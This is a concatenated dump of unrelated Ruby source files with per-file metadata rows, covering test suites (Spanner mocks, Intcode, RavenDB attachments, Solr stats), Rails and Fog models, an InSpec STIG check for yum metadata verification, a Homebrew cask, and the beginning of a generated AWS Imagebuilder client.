end
| 40.035088 | 272 | 0.583323 |
1c29e3b9140f1754664d9b8f4962d13a9a5767b1 | 6,562 | # Copyright 2021 Google LLC
#
# Use of this source code is governed by an MIT-style
# license that can be found in the LICENSE file or at
# https://opensource.org/licenses/MIT.
#
# frozen_string_literal: true
require_relative "./base_spanner_mock_server_test"
module MockServerTests
class SessionNotFoundTest < BaseSpannerMockServerTest
def create_connection_with_invalidated_session
# Create a connection and a session, and then delete the session.
ActiveRecord::Base.transaction do
end
@mock.delete_all_sessions
@mock.requests.clear
end
def test_session_not_found_single_read
create_connection_with_invalidated_session
select_sql = register_singer_find_by_id_result
Singer.find_by id: 1
# The request should be executed twice on two different sessions, both times without a transaction selector.
sql_requests = @mock.requests.select { |req| req.is_a?(Google::Cloud::Spanner::V1::ExecuteSqlRequest) && req.sql == select_sql }
assert_equal 2, sql_requests.length
refute_equal sql_requests[0].session, sql_requests[1].session
refute sql_requests[0].transaction
refute sql_requests[1].transaction
end
def test_session_not_found_implicit_transaction_single_insert
create_connection_with_invalidated_session
Singer.create(first_name: "Dave", last_name: "Allison")
begin_requests = @mock.requests.select { |req| req.is_a? Google::Cloud::Spanner::V1::BeginTransactionRequest }
assert_equal 2, begin_requests.length
refute_equal begin_requests[0].session, begin_requests[1].session
commit_requests = @mock.requests.select { |req| req.is_a? Google::Cloud::Spanner::V1::CommitRequest }
assert_equal 1, commit_requests.length
assert_equal begin_requests[1].session, commit_requests[0].session
end
def test_session_not_found_implicit_transaction_batch_insert
create_connection_with_invalidated_session
Singer.create([{first_name: "Dave", last_name: "Allison"}, {first_name: "Alice", last_name: "Becker"}])
begin_requests = @mock.requests.select { |req| req.is_a? Google::Cloud::Spanner::V1::BeginTransactionRequest }
assert_equal 2, begin_requests.length
refute_equal begin_requests[0].session, begin_requests[1].session
commit_requests = @mock.requests.select { |req| req.is_a? Google::Cloud::Spanner::V1::CommitRequest }
assert_equal 1, commit_requests.length
assert_equal begin_requests[1].session, commit_requests[0].session
end
def test_session_not_found_on_begin_transaction
create_connection_with_invalidated_session
Singer.create(first_name: "Dave", last_name: "Allison")
begin_requests = @mock.requests.select { |req| req.is_a? Google::Cloud::Spanner::V1::BeginTransactionRequest }
assert_equal 2, begin_requests.length
refute_equal begin_requests[0].session, begin_requests[1].session
commit_requests = @mock.requests.select { |req| req.is_a? Google::Cloud::Spanner::V1::CommitRequest }
assert_equal 1, commit_requests.length
assert_equal begin_requests[1].session, commit_requests[0].session
end
def test_session_not_found_on_dml_in_transaction
insert_sql = register_insert_singer_result
deleted = nil
Singer.transaction do
deleted = @mock.delete_all_sessions unless deleted
Singer.create(first_name: "Dave", last_name: "Allison")
end
begin_requests = @mock.requests.select { |req| req.is_a? Google::Cloud::Spanner::V1::BeginTransactionRequest }
assert_empty begin_requests
sql_requests = @mock.requests.select { |req| req.is_a?(Google::Cloud::Spanner::V1::ExecuteSqlRequest) && req.sql == insert_sql }
assert_equal 2, sql_requests.length
refute_equal sql_requests[0].session, sql_requests[1].session
sql_requests.each { |req| assert req.transaction&.begin&.read_write }
commit_requests = @mock.requests.select { |req| req.is_a? Google::Cloud::Spanner::V1::CommitRequest }
assert_equal 1, commit_requests.length
assert_equal sql_requests[1].session, commit_requests[0].session
end
def test_session_not_found_on_select_in_transaction
select_sql = register_singer_find_by_id_result
deleted = nil
Singer.transaction do
deleted = @mock.delete_all_sessions unless deleted
Singer.find_by id: 1
end
begin_requests = @mock.requests.select { |req| req.is_a? Google::Cloud::Spanner::V1::BeginTransactionRequest }
assert_empty begin_requests
sql_requests = @mock.requests.select { |req| req.is_a?(Google::Cloud::Spanner::V1::ExecuteSqlRequest) && req.sql == select_sql }
assert_equal 2, sql_requests.length
refute_equal sql_requests[0].session, sql_requests[1].session
sql_requests.each { |req| assert req.transaction&.begin&.read_write }
commit_requests = @mock.requests.select { |req| req.is_a? Google::Cloud::Spanner::V1::CommitRequest }
assert_equal 1, commit_requests.length
assert_equal sql_requests[1].session, commit_requests[0].session
end
def test_session_not_found_on_commit
insert_sql = register_insert_singer_result
deleted = nil
Singer.transaction do
Singer.create(first_name: "Dave", last_name: "Allison")
deleted = @mock.delete_all_sessions unless deleted
end
begin_requests = @mock.requests.select { |req| req.is_a? Google::Cloud::Spanner::V1::BeginTransactionRequest }
assert_empty begin_requests
sql_requests = @mock.requests.select { |req| req.is_a?(Google::Cloud::Spanner::V1::ExecuteSqlRequest) && req.sql == insert_sql }
assert_equal 2, sql_requests.length
refute_equal sql_requests[0].session, sql_requests[1].session
sql_requests.each { |req| assert req.transaction&.begin&.read_write }
commit_requests = @mock.requests.select { |req| req.is_a? Google::Cloud::Spanner::V1::CommitRequest }
assert_equal 2, commit_requests.length
assert_equal sql_requests[1].session, commit_requests[1].session
end
def register_insert_singer_result
sql = "INSERT INTO `singers` (`first_name`, `last_name`, `id`) VALUES (@p1, @p2, @p3)"
@mock.put_statement_result sql, StatementResult.new(1)
sql
end
def register_singer_find_by_id_result
sql = "SELECT `singers`.* FROM `singers` WHERE `singers`.`id` = @p1 LIMIT @p2"
@mock.put_statement_result sql, MockServerTests::create_random_singers_result(1)
sql
end
end
end
| 45.255172 | 134 | 0.731484 |
e9f6a28adfdf7f28361a99525035ae22727d382b | 680 | class CreatePageAttachmentsExtensionSchema < ActiveRecord::Migration
def self.up
create_table "page_attachments" do |t|
t.column "content_type", :string
t.column "filename", :string
t.column "size", :integer
t.column "parent_id", :integer
t.column "thumbnail", :string
t.column "width", :integer
t.column "height", :integer
t.column "created_at", :datetime
t.column "created_by", :integer
t.column "updated_at", :datetime
t.column "updated_by", :integer
t.column "page_id", :integer
end
end
def self.down
drop_table "page_attachments"
end
end
| 29.565217 | 68 | 0.614706 |
ff40600033a622d45dd171c63ca9676f141d7a5c | 119 | json.array!(@apps) do |app|
json.extract! app, :id, :name, :body, :author
json.url app_url(app, format: :json)
end
| 23.8 | 47 | 0.655462 |
bfd88948eb9d8830d6cc69772c3efc435cbf4f38 | 1,277 | require 'pathname'
require 'uri'
require 'pstore'
require 'rubygems'
require 'mongrel/handlers'
module Rascut
module Utils
def home
if ENV['HOME']
home = Pathname.new ENV['HOME']
elsif ENV['USERPROFILE']
# win32
home = Pathname.new ENV['USERPROFILE']
else
raise 'HOME dir not found.'
end
home = home.join('.rascut')
home.mkpath
home
end
module_function :home
def asdoc_home
path = home.join('asdoc')
path.mkpath
path
end
module_function :asdoc_home
def rascut_db_path
home.join('rascut.db')
end
module_function :rascut_db_path
def rascut_db(readonly = false)
db = PStore.new home.join('rascut.db').to_s
db.transaction(readonly) do
yield db
end
end
module_function :rascut_db
def rascut_db_read(&block)
rascut_db(true, &block)
end
module_function :rascut_db_read
def path_escape(name)
URI.encode(name.to_s.gsub('/', '_'), /[^\w_\-]/)
end
module_function :path_escape
class ProcHandler < Mongrel::HttpHandler
def initialize(&block)
@proc = block
end
def process(req, res)
@proc.call(req, res)
end
end
end
end
| 19.348485 | 54 | 0.604542 |
d5376cd78fe8bd38ad4a916e129dcfbc1eeeb524 | 339 | # frozen_string_literal: true
require "#{File.dirname(__FILE__)}/recurring_at_intervals"
require "#{File.dirname(__FILE__)}/base_set_object"
require "#{File.dirname(__FILE__)}/recurring_at_intervals/minutely"
class Redis
class MinutelySet < Set
include RecurringAtIntervals
include BaseSetObject
include Minutely
end
end
| 24.214286 | 67 | 0.787611 |
ed28ce1a69a58734565bee8484a1d152b6aeeeef | 313 | class UserMailerTest < ActionMailer::TestCase
def test_password_reset
user = create(:user)
email = UserMailer.password_reset(user).deliver
assert !ActionMailer::Base.deliveries.empty?
assert_equal [user.email], email.to
assert_equal "CatchLater Password Reset", email.subject
end
end | 28.454545 | 59 | 0.744409 |
6a9a6533071da139b9e6682c28c016a3a9fb2cfa | 4,099 | require 'test_helper'
require_relative "../lib/intcode_program"
class IntcodeProgramTest < MiniTest::Test
def test_simple_add_program
memory = [1,0,0,0,99]
p = IntcodeProgram.new(memory)
p.run!
assert_equal p.return_value, 2
end
def test_equal_to_position
# Using position mode, consider whether the input is equal to 8; output 1 (if it is) or 0 (if it is not).
memory = [3,9,8,9,10,9,4,9,99,-1,8]
input_buffer = [9]
p = IntcodeProgram.new(memory, input_buffer)
p.run!
assert_equal p.output_buffer, [0]
input_buffer = [7]
p = IntcodeProgram.new(memory, input_buffer)
p.run!
assert_equal p.output_buffer, [0]
input_buffer = [8]
p = IntcodeProgram.new(memory, input_buffer)
p.run!
assert_equal p.output_buffer, [1]
end
def test_equal_to_immediate
# Using immediate mode, consider whether the input is equal to 8; output 1 (if it is) or 0 (if it is not).
memory = [3,3,1108,-1,8,3,4,3,99]
input_buffer = [9]
p = IntcodeProgram.new(memory, input_buffer)
p.run!
assert_equal p.output_buffer, [0]
input_buffer = [7]
p = IntcodeProgram.new(memory, input_buffer)
p.run!
assert_equal p.output_buffer, [0]
input_buffer = [8]
p = IntcodeProgram.new(memory, input_buffer)
p.run!
assert_equal p.output_buffer, [1]
end
def test_less_than_position
# Using position mode, consider whether the input is less than 8; output 1 (if it is) or 0 (if it is not).
memory = [3,9,7,9,10,9,4,9,99,-1,8]
input_buffer = [9]
p = IntcodeProgram.new(memory, input_buffer)
p.run!
assert_equal p.output_buffer, [0]
input_buffer = [7]
p = IntcodeProgram.new(memory, input_buffer)
p.run!
assert_equal p.output_buffer, [1]
input_buffer = [8]
p = IntcodeProgram.new(memory, input_buffer)
p.run!
assert_equal p.output_buffer, [0]
end
def test_less_than_immediate
# Using immediate mode, consider whether the input is less than 8; output 1 (if it is) or 0 (if it is not).
memory = [3,3,1107,-1,8,3,4,3,99]
input_buffer = [9]
p = IntcodeProgram.new(memory, input_buffer)
p.run!
assert_equal p.output_buffer, [0]
input_buffer = [7]
p = IntcodeProgram.new(memory, input_buffer)
p.run!
assert_equal p.output_buffer, [1]
input_buffer = [8]
p = IntcodeProgram.new(memory, input_buffer)
p.run!
assert_equal p.output_buffer, [0]
end
def test_jump
# Here are some jump tests that take an input, then output 0 if the input was zero or 1 if the input was non-zero:
# (using position mode)
memory = [3,12,6,12,15,1,13,14,13,4,13,99,-1,0,1,9]
input_buffer = [0]
p = IntcodeProgram.new(memory, input_buffer)
p.run!
assert_equal p.output_buffer, [0]
input_buffer = [345]
p = IntcodeProgram.new(memory, input_buffer)
p.run!
assert_equal p.output_buffer, [1]
# (using immediate mode)
memory = [3,3,1105,-1,9,1101,0,0,12,4,12,99,1]
input_buffer = [0]
p = IntcodeProgram.new(memory, input_buffer)
p.run!
assert_equal p.output_buffer, [0]
input_buffer = [678]
p = IntcodeProgram.new(memory, input_buffer)
p.run!
assert_equal p.output_buffer, [1]
end
def test_larger_example
# This example program uses an input instruction to ask for a single number. The program will then output 999
# if the input value is below 8, output 1000 if the input value is equal to 8, or output 1001 if the input
#value is greater than 8.
memory = [3,21,1008,21,8,20,1005,20,22,107,8,21,20,1006,20,31,1106,0,36,98,0,0,1002,21,125,20,4,20,1105,1,46,104,999,1105,1,46,1101,1000,1,20,4,20,1105,1,46,98,99]
input_buffer = [7]
p = IntcodeProgram.new(memory, input_buffer)
p.run!
assert_equal p.output_buffer, [999]
input_buffer = [8]
p = IntcodeProgram.new(memory, input_buffer)
p.run!
assert_equal p.output_buffer, [1000]
input_buffer = [9]
p = IntcodeProgram.new(memory, input_buffer)
p.run!
assert_equal p.output_buffer, [1001]
end
end
| 28.268966 | 167 | 0.66626 |
f8feb7b3ee04ad83f52d6f1ae716d3fe67d6e323 | 1,438 | require 'fog/core/model'
module Fog
module Network
class OpenStack
class LbMember < Fog::Model
identity :id
attribute :pool_id
attribute :address
attribute :protocol_port
attribute :weight
attribute :status
attribute :admin_state_up
attribute :tenant_id
def initialize(attributes)
prepare_service_value(attributes)
super
end
def save
requires :pool_id, :address, :protocol_port, :weight
identity ? update : create
end
def create
requires :pool_id, :address, :protocol_port, :weight
merge_attributes(service.create_lb_member(self.pool_id,
self.address,
self.protocol_port,
self.weight,
self.attributes).body['member'])
self
end
def update
requires :id, :pool_id, :address, :protocol_port, :weight
merge_attributes(service.update_lb_member(self.id,
self.attributes).body['member'])
self
end
def destroy
requires :id
service.delete_lb_member(self.id)
true
end
end
end
end
end | 27.132075 | 84 | 0.493046 |
5d09eeb526f80c6487fd7be2ed26714982d2f594 | 599 | module WithModel
class ConstantStubber
def initialize const_name
@const_name = const_name.to_sym
@original_value = nil
end
def stub_const value
if Object.const_defined?(@const_name)
@original_value = Object.const_get(@const_name)
Object.send :remove_const, @const_name
end
Object.const_set @const_name, value
end
def unstub_const
Object.send :remove_const, @const_name
Object.const_set @const_name, @original_value if @original_value
@original_value = nil
end
end
private_constant :ConstantStubber
end
| 23.96 | 70 | 0.699499 |
18a24d35a2c8cc334f7f3e14e57824e301ed57d9 | 2,596 | RSpec.describe RavenDB::GetAttachmentOperation, database: true do
ATTACHMENT = "47494638396101000100800000000000ffffff21f90401000000002c000000000100010000020144003b".freeze
it "puts attachment" do
store.open_session do |session|
product = Product.new(nil, "Test Product", 10, "a")
session.store(product)
session.save_changes
expect do
store.operations.send(
RavenDB::PutAttachmentOperation.new(
document_id: product.id,
name: "1x1.gif",
stream: [ATTACHMENT].pack("H*"),
content_type: "image/gif"
))
end.not_to raise_error
end
end
it "gets attachment" do
store.open_session do |session|
attachment_raw = [ATTACHMENT].pack("H*")
product = Product.new(nil, "Test Product", 10, "a")
session.store(product)
session.save_changes
store.operations.send(
RavenDB::PutAttachmentOperation.new(
document_id: product.id,
name: "1x1.gif",
stream: attachment_raw,
content_type: "image/gif"
))
attachment_result = store.operations.send(
RavenDB::GetAttachmentOperation.new(
document_id: product.id,
name: "1x1.gif",
type: RavenDB::AttachmentType::DOCUMENT
))
expect(attachment_result[:stream]).to eq(attachment_raw)
expect(attachment_result[:attachment_details][:document_id]).to eq(product.id)
expect(attachment_result[:attachment_details][:content_type]).to eq("image/gif")
expect(attachment_result[:attachment_details][:name]).to eq("1x1.gif")
expect(attachment_result[:attachment_details][:size]).to eq(attachment_raw.size)
end
end
it "deletes attachment" do
store.open_session do |session|
product = Product.new(nil, "Test Product", 10, "a")
session.store(product)
session.save_changes
store.operations.send(
RavenDB::PutAttachmentOperation.new(
document_id: product.id,
name: "1x1.gif",
stream: [ATTACHMENT].pack("H*"),
content_type: "image/gif"
))
store.operations.send(
RavenDB::DeleteAttachmentOperation.new(
document_id: product.id,
name: "1x1.gif"
))
expect do
store.operations.send(
RavenDB::GetAttachmentOperation.new(
document_id: product.id,
name: "1x1.gif",
type: RavenDB::AttachmentType::DOCUMENT
))
end.to raise_error(RavenDB::DocumentDoesNotExistException)
end
end
end
| 30.186047 | 108 | 0.630971 |
01435210fbe73ccdd9253a88c948174de2478a67 | 2,632 | # encoding: utf-8
#
control "V-71981" do
title "The operating system must prevent the installation of software,
patches, service packs, device drivers, or operating system components of
packages without verification of the repository metadata."
desc "
Changes to any software components can have significant effects on the
overall security of the operating system. This requirement ensures the software
has not been tampered with and that it has been provided by a trusted vendor.
Accordingly, patches, service packs, device drivers, or operating system
components must be signed with a certificate recognized and approved by the
organization.
Verifying the authenticity of the software prior to installation validates
the integrity of the patch or upgrade received from a vendor. This ensures the
software has not been tampered with and that it has been provided by a trusted
vendor. Self-signed certificates are disallowed by this requirement. The
operating system should not have to verify the software again. This requirement
does not mandate DoD certificates for this purpose; however, the certificate
used to verify the software must be from an approved Certificate Authority.
"
impact 0.7
tag "gtitle": "SRG-OS-000366-GPOS-00153"
tag "gid": "V-71981"
tag "rid": "SV-86605r1_rule"
tag "stig_id": "RHEL-07-020070"
tag "cci": ["CCI-001749"]
tag "documentable": false
tag "nist": ["CM-5 (3)", "Rev_4"]
tag "check": "Verify the operating system prevents the installation of
patches, service packs, device drivers, or operating system components of local
packages without verification of the repository metadata.
Check that yum verifies the package metadata prior to install with the
following command:
# grep repo_gpgcheck /etc/yum.conf
repo_gpgcheck=1
If \"repo_gpgcheck\" is not set to \"1\", or if options are missing or
commented out, ask the System Administrator how the metadata of local packages
and other operating system components are verified.
If there is no process to validate the metadata of packages that is approved by
the organization, this is a finding."
tag "fix": "Configure the operating system to verify the repository metadata
by setting the following options in the \"/etc/yum.conf\" file:
repo_gpgcheck=1"
tag "fix_id": "F-78333r1_fix"
yum_conf = file('/etc/yum.conf')
describe yum_conf.path do
context yum_conf do
it { should exist }
end
if yum_conf.exist?
context '[main]' do
context 'repo_gpgcheck' do
it { expect( ini(yum_conf.path)['main'][subject] ).to cmp 1 }
end
end
end
end
end
| 37.070423 | 79 | 0.754179 |
91a2208eeaae01dcf4fd5a8ca5f7ae455fe1a244 | 1,388 | class PhotosController < ApplicationController
before_action :logged_in_user
def show
#style = params[:style] ? params[:style] : 'med'
style = "large"
record = Photo.find(params[:id])
raise 'Error' unless record.image.exists?(style)
send_data record.image.file_contents(style),
:filename => record.image_file_name,
:type => record
.image_content_type
end
def play
@photo = Photo.where("user_id = ?", current_user).offset(rand(Photo.where("user_id = ?", current_user).count)).first
end
def index
@photos = Photo.where("user_id = ?", current_user)
end
def new
@photo = Photo.new
end
def create
@photo = current_user.photos.build(photo_params) if logged_in?
#Photo.new(photo_params)
if @photo.save
render json: { message: "success" , fileID: @photo.id}, :status => 200
# flash[:success] = "The photo was added!"
# redirect_to photos_path
else
render json: { error: @photo.errors.full_messages.join(',')}, :status => 400
# render 'index'
end
end
def delete
@photos = Photo.where("user_id = ?", current_user)
end
def destroy
@photo = Photo.find(params[:id])
@photo.destroy
flash[:success] = "The photo was destroyed."
redirect_to delete_photo_path
end
private
def photo_params
params.require(:photo).permit(:image, :title)
end
end
| 24.350877 | 121 | 0.657061 |
ed7223cbe427934b140737c0bd61d464110fef21 | 1,021 | require File.expand_path('../../test_helper.rb', __FILE__)
require File.expand_path('../solr_stats.rb', __FILE__)
require 'open-uri'
class SolrStatisticsTest < Test::Unit::TestCase
def teardown
FakeWeb.clean_registry
end
def test_should_report
uri = 'http://localhost:8983/solr/admin/mbeans'
body = File.read(File.dirname(__FILE__) + '/fixtures/output.json')
FakeWeb.register_uri(:get, uri + '?stats=true&wt=json', :body => body)
@plugin = SolrStatistics.new(nil,{},{:location => uri, :handler => '/select'})
res = @plugin.run()
stats = res[:reports].first
assert_equal 500, stats['num_docs']
assert_equal 501, stats['max_docs']
assert_equal 0.0032435988363537, stats['avg_rate']
assert_equal 0.074812428920417, stats['5_min_rate']
assert_equal 0.14410462363288, stats['15_min_rate']
assert_equal 81.741, stats['avg_time_per_request']
assert_equal 82.741, stats['median_request_time']
assert_equal 84.741, stats['95th_pc_request_time']
end
end
| 34.033333 | 82 | 0.708129 |
3811bb9035ad68f3a39bdd9686a7d5641bc68f8d | 1,011 | require 'spec_helper'
module TurboPlay
RSpec.describe Base do
class MyTestModel < TurboPlay::Base
attributes :id, :name
end
describe '.attributes' do
it 'sets the attributes' do
expect(MyTestModel.attributes_list).to eq(%i[id name])
end
end
describe '#initialize' do
context 'when symbols' do
it 'sets the attributes' do
model = MyTestModel.new(id: '1', name: 'Something')
expect(model.id).to eq '1'
expect(model.name).to eq 'Something'
expect(model.original_payload).to eq(id: '1', name: 'Something')
end
end
context 'when strings' do
it 'sets the attributes' do
model = MyTestModel.new('id' => '1', 'name' => 'Something')
expect(model.id).to eq '1'
expect(model.name).to eq 'Something'
expect(model.original_payload).to eq(
'id' => '1',
'name' => 'Something'
)
end
end
end
end
end
| 25.923077 | 74 | 0.562809 |
01b9006a6a17ff9afd542084d9316fafb615bd18 | 455 | cask "lyn" do
version "2.0"
sha256 "2706168da42f1302725140120eb00e9c66dfbc87ede7a7d35d2f60d00b2068d7"
url "https://www.lynapp.com/downloads/Lyn-#{version}.dmg"
appcast "https://www.lynapp.com/lyn/update#{version.major}x.xml"
name "Lyn"
homepage "https://www.lynapp.com/"
app "Lyn.app"
zap trash: [
"~/Library/Application Support/Lyn",
"~/Library/Caches/com.lynapp.lyn",
"~/Library/Preferences/com.lynapp.lyn.plist",
]
end
| 25.277778 | 75 | 0.701099 |
ac1b9b11ada9c8835e59b74fe6aecb99030ca1e4 | 973 | module ChefAPI
module Resource
autoload :Base, 'chef-api/resources/base'
autoload :Client, 'chef-api/resources/client'
autoload :CollectionProxy, 'chef-api/resources/collection_proxy'
autoload :Cookbook, 'chef-api/resources/cookbook'
autoload :CookbookVersion, 'chef-api/resources/cookbook_version'
autoload :DataBag, 'chef-api/resources/data_bag'
autoload :DataBagItem, 'chef-api/resources/data_bag_item'
autoload :Environment, 'chef-api/resources/environment'
autoload :Node, 'chef-api/resources/node'
autoload :Organization, 'chef-api/resources/organization'
autoload :PartialSearch, 'chef-api/resources/partial_search'
autoload :Principal, 'chef-api/resources/principal'
autoload :Role, 'chef-api/resources/role'
autoload :Search, 'chef-api/resources/search'
autoload :User, 'chef-api/resources/user'
end
end
| 48.65 | 68 | 0.675231 |
7ac31f1d7364a8530e9146bdff9c46159a839c98 | 124,852 | # frozen_string_literal: true
# WARNING ABOUT GENERATED CODE
#
# This file is generated. See the contributing guide for more information:
# https://github.com/aws/aws-sdk-ruby/blob/master/CONTRIBUTING.md
#
# WARNING ABOUT GENERATED CODE
require 'seahorse/client/plugins/content_length.rb'
require 'aws-sdk-core/plugins/credentials_configuration.rb'
require 'aws-sdk-core/plugins/logging.rb'
require 'aws-sdk-core/plugins/param_converter.rb'
require 'aws-sdk-core/plugins/param_validator.rb'
require 'aws-sdk-core/plugins/user_agent.rb'
require 'aws-sdk-core/plugins/helpful_socket_errors.rb'
require 'aws-sdk-core/plugins/retry_errors.rb'
require 'aws-sdk-core/plugins/global_configuration.rb'
require 'aws-sdk-core/plugins/regional_endpoint.rb'
require 'aws-sdk-core/plugins/endpoint_discovery.rb'
require 'aws-sdk-core/plugins/endpoint_pattern.rb'
require 'aws-sdk-core/plugins/response_paging.rb'
require 'aws-sdk-core/plugins/stub_responses.rb'
require 'aws-sdk-core/plugins/idempotency_token.rb'
require 'aws-sdk-core/plugins/jsonvalue_converter.rb'
require 'aws-sdk-core/plugins/client_metrics_plugin.rb'
require 'aws-sdk-core/plugins/client_metrics_send_plugin.rb'
require 'aws-sdk-core/plugins/transfer_encoding.rb'
require 'aws-sdk-core/plugins/http_checksum.rb'
require 'aws-sdk-core/plugins/signature_v4.rb'
require 'aws-sdk-core/plugins/protocols/rest_json.rb'
Aws::Plugins::GlobalConfiguration.add_identifier(:imagebuilder)
module Aws::Imagebuilder
# An API client for Imagebuilder. To construct a client, you need to configure a `:region` and `:credentials`.
#
# client = Aws::Imagebuilder::Client.new(
# region: region_name,
# credentials: credentials,
# # ...
# )
#
# For details on configuring region and credentials see
# the [developer guide](/sdk-for-ruby/v3/developer-guide/setup-config.html).
#
# See {#initialize} for a full list of supported configuration options.
class Client < Seahorse::Client::Base
include Aws::ClientStubs
@identifier = :imagebuilder
set_api(ClientApi::API)
add_plugin(Seahorse::Client::Plugins::ContentLength)
add_plugin(Aws::Plugins::CredentialsConfiguration)
add_plugin(Aws::Plugins::Logging)
add_plugin(Aws::Plugins::ParamConverter)
add_plugin(Aws::Plugins::ParamValidator)
add_plugin(Aws::Plugins::UserAgent)
add_plugin(Aws::Plugins::HelpfulSocketErrors)
add_plugin(Aws::Plugins::RetryErrors)
add_plugin(Aws::Plugins::GlobalConfiguration)
add_plugin(Aws::Plugins::RegionalEndpoint)
add_plugin(Aws::Plugins::EndpointDiscovery)
add_plugin(Aws::Plugins::EndpointPattern)
add_plugin(Aws::Plugins::ResponsePaging)
add_plugin(Aws::Plugins::StubResponses)
add_plugin(Aws::Plugins::IdempotencyToken)
add_plugin(Aws::Plugins::JsonvalueConverter)
add_plugin(Aws::Plugins::ClientMetricsPlugin)
add_plugin(Aws::Plugins::ClientMetricsSendPlugin)
add_plugin(Aws::Plugins::TransferEncoding)
add_plugin(Aws::Plugins::HttpChecksum)
add_plugin(Aws::Plugins::SignatureV4)
add_plugin(Aws::Plugins::Protocols::RestJson)
# @overload initialize(options)
# @param [Hash] options
# @option options [required, Aws::CredentialProvider] :credentials
# Your AWS credentials. This can be an instance of any one of the
# following classes:
#
# * `Aws::Credentials` - Used for configuring static, non-refreshing
# credentials.
#
# * `Aws::SharedCredentials` - Used for loading static credentials from a
# shared file, such as `~/.aws/config`.
#
# * `Aws::AssumeRoleCredentials` - Used when you need to assume a role.
#
# * `Aws::AssumeRoleWebIdentityCredentials` - Used when you need to
# assume a role after providing credentials via the web.
#
# * `Aws::SSOCredentials` - Used for loading credentials from AWS SSO using an
# access token generated from `aws login`.
#
# * `Aws::ProcessCredentials` - Used for loading credentials from a
# process that outputs to stdout.
#
# * `Aws::InstanceProfileCredentials` - Used for loading credentials
# from an EC2 IMDS on an EC2 instance.
#
# * `Aws::ECSCredentials` - Used for loading credentials from
# instances running in ECS.
#
# * `Aws::CognitoIdentityCredentials` - Used for loading credentials
# from the Cognito Identity service.
#
# When `:credentials` are not configured directly, the following
# locations will be searched for credentials:
#
# * `Aws.config[:credentials]`
# * The `:access_key_id`, `:secret_access_key`, and `:session_token` options.
# * ENV['AWS_ACCESS_KEY_ID'], ENV['AWS_SECRET_ACCESS_KEY']
# * `~/.aws/credentials`
# * `~/.aws/config`
# * EC2/ECS IMDS instance profile - When used by default, the timeouts
# are very aggressive. Construct and pass an instance of
# `Aws::InstanceProfileCredentails` or `Aws::ECSCredentials` to
# enable retries and extended timeouts.
#
# @option options [required, String] :region
# The AWS region to connect to. The configured `:region` is
# used to determine the service `:endpoint`. When not passed,
# a default `:region` is searched for in the following locations:
#
# * `Aws.config[:region]`
# * `ENV['AWS_REGION']`
# * `ENV['AMAZON_REGION']`
# * `ENV['AWS_DEFAULT_REGION']`
# * `~/.aws/credentials`
# * `~/.aws/config`
#
# @option options [String] :access_key_id
#
# @option options [Boolean] :active_endpoint_cache (false)
# When set to `true`, a thread polling for endpoints will be running in
# the background every 60 secs (default). Defaults to `false`.
#
# @option options [Boolean] :adaptive_retry_wait_to_fill (true)
# Used only in `adaptive` retry mode. When true, the request will sleep
# until there is sufficent client side capacity to retry the request.
# When false, the request will raise a `RetryCapacityNotAvailableError` and will
# not retry instead of sleeping.
#
# @option options [Boolean] :client_side_monitoring (false)
# When `true`, client-side metrics will be collected for all API requests from
# this client.
#
# @option options [String] :client_side_monitoring_client_id ("")
# Allows you to provide an identifier for this client which will be attached to
# all generated client side metrics. Defaults to an empty string.
#
# @option options [String] :client_side_monitoring_host ("127.0.0.1")
# Allows you to specify the DNS hostname or IPv4 or IPv6 address that the client
# side monitoring agent is running on, where client metrics will be published via UDP.
#
# @option options [Integer] :client_side_monitoring_port (31000)
# Required for publishing client metrics. The port that the client side monitoring
# agent is running on, where client metrics will be published via UDP.
#
# @option options [Aws::ClientSideMonitoring::Publisher] :client_side_monitoring_publisher (Aws::ClientSideMonitoring::Publisher)
# Allows you to provide a custom client-side monitoring publisher class. By default,
# will use the Client Side Monitoring Agent Publisher.
#
# @option options [Boolean] :convert_params (true)
# When `true`, an attempt is made to coerce request parameters into
# the required types.
#
# @option options [Boolean] :correct_clock_skew (true)
# Used only in `standard` and adaptive retry modes. Specifies whether to apply
# a clock skew correction and retry requests with skewed client clocks.
#
# @option options [Boolean] :disable_host_prefix_injection (false)
# Set to true to disable SDK automatically adding host prefix
# to default service endpoint when available.
#
# @option options [String] :endpoint
# The client endpoint is normally constructed from the `:region`
# option. You should only configure an `:endpoint` when connecting
# to test or custom endpoints. This should be a valid HTTP(S) URI.
#
# @option options [Integer] :endpoint_cache_max_entries (1000)
# Used for the maximum size limit of the LRU cache storing endpoints data
# for endpoint discovery enabled operations. Defaults to 1000.
#
# @option options [Integer] :endpoint_cache_max_threads (10)
# Used for the maximum threads in use for polling endpoints to be cached, defaults to 10.
#
# @option options [Integer] :endpoint_cache_poll_interval (60)
# When :endpoint_discovery and :active_endpoint_cache is enabled,
# Use this option to config the time interval in seconds for making
# requests fetching endpoints information. Defaults to 60 sec.
#
# @option options [Boolean] :endpoint_discovery (false)
# When set to `true`, endpoint discovery will be enabled for operations when available.
#
# @option options [Aws::Log::Formatter] :log_formatter (Aws::Log::Formatter.default)
# The log formatter.
#
# @option options [Symbol] :log_level (:info)
# The log level to send messages to the `:logger` at.
#
# @option options [Logger] :logger
# The Logger instance to send log messages to. If this option
# is not set, logging will be disabled.
#
# @option options [Integer] :max_attempts (3)
# An integer representing the maximum number attempts that will be made for
# a single request, including the initial attempt. For example,
# setting this value to 5 will result in a request being retried up to
# 4 times. Used in `standard` and `adaptive` retry modes.
#
# @option options [String] :profile ("default")
# Used when loading credentials from the shared credentials file
# at HOME/.aws/credentials. When not specified, 'default' is used.
#
# @option options [Proc] :retry_backoff
# A proc or lambda used for backoff. Defaults to 2**retries * retry_base_delay.
# This option is only used in the `legacy` retry mode.
#
# @option options [Float] :retry_base_delay (0.3)
# The base delay in seconds used by the default backoff function. This option
# is only used in the `legacy` retry mode.
#
# @option options [Symbol] :retry_jitter (:none)
# A delay randomiser function used by the default backoff function.
# Some predefined functions can be referenced by name - :none, :equal, :full,
# otherwise a Proc that takes and returns a number. This option is only used
# in the `legacy` retry mode.
#
# @see https://www.awsarchitectureblog.com/2015/03/backoff.html
#
# @option options [Integer] :retry_limit (3)
# The maximum number of times to retry failed requests. Only
# ~ 500 level server errors and certain ~ 400 level client errors
# are retried. Generally, these are throttling errors, data
# checksum errors, networking errors, timeout errors, auth errors,
# endpoint discovery, and errors from expired credentials.
# This option is only used in the `legacy` retry mode.
#
# @option options [Integer] :retry_max_delay (0)
# The maximum number of seconds to delay between retries (0 for no limit)
# used by the default backoff function. This option is only used in the
# `legacy` retry mode.
#
# @option options [String] :retry_mode ("legacy")
# Specifies which retry algorithm to use. Values are:
#
# * `legacy` - The pre-existing retry behavior. This is default value if
# no retry mode is provided.
#
